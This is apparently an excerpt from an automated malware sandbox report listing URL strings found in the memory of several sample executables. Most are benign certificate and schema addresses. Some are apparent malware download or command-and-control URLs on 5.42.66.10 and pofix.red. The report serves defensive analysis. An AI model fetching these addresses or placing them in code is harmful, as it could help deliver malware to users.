Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2231089447.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2197715382.0000000002B42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/download/th/space.phpj
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/ext/adsupressor.jpeg
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/ext/adsupressor.jpegAppData
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/ext/adsupressor.jpegG
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/ext/adsupressor.jpegK
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/ext/adsupressor.jpegdg
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/ext/adsupressor.jpegh
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/ext/adsupressor.jpeghttp://5.42.66.10/ext/adsupressor.pngC:
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/ext/adsupressor.png
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/ext/adsupressor.png.jpe
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10/r
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3401785984.0000000001386000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.42.66.10:80/api/flash.php
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: RegAsm.exe, 0000001E.00000002.3402168872.00000000015F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: RegAsm.exe, 0000001E.00000002.3402168872.0000000001615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab0
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: RegAsm.exe, 00000019.00000002.3403705844.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adp/1.0/Vg2
Source: RegAsm.exe, 00000019.00000002.3403705844.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.exif/10g
Source: RegAsm.exe, 00000019.00000002.3403705844.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.microsofo/1.2/
Source: N_fzNzObxT0UJ9JQqz4nPKUC.exe, 00000016.00000002.2921277819.0000000000528000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsis.sf.ne
Source: N_fzNzObxT0UJ9JQqz4nPKUC.exe, 00000016.00000002.2920851315.000000000040A000.00000004.00000001.01000000.00000015.sdmp, N_fzNzObxT0UJ9JQqz4nPKUC.exe, 00000016.00000000.2596539752.000000000040A000.00000008.00000001.01000000.00000015.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000000.2582436692.0000000000943000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000000.2596740001.000000000143F000.00000080.00000001.01000000.0000000E.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.00000000011A1000.00000040.00000001.01000000.0000000E.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000000.2596740001.000000000143F000.00000080.00000001.01000000.0000000E.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.00000000011A1000.00000040.00000001.01000000.0000000E.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000000.2596740001.000000000143F000.00000080.00000001.01000000.0000000E.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe, 00000011.00000002.3399106809.00000000011A1000.00000040.00000001.01000000.0000000E.sdmp, smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pofix.red/upd/index.php
Source: tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pofix.red/upd/index.php8
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultp9N
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: TrIR3OjzF5zT6wur9yJ59R0V.exe, 00000015.00000002.3350644309.00000268C2FC9000.00000004.00000800.00020000.00000000.sdmp, TrIR3OjzF5zT6wur9yJ59R0V.exe, 00000015.00000002.3350644309.00000268C2E8B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002A21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: RegAsm.exe, 00000019.00000002.3431121000.0000000002B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: tZvjMg3Hw9.exe, 00000000.00000003.2190482787.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2202746021.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2223509858.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2224191644.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2200495719.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182444428.0000000002B56000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2225619807.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2209752044.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2222944513.0000000002B42000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 00000000.00000003.2182187874.0000000002B5D000.00000004.00000020.00020000.00000000.sdmp, tZvjMg3Hw9.exe, 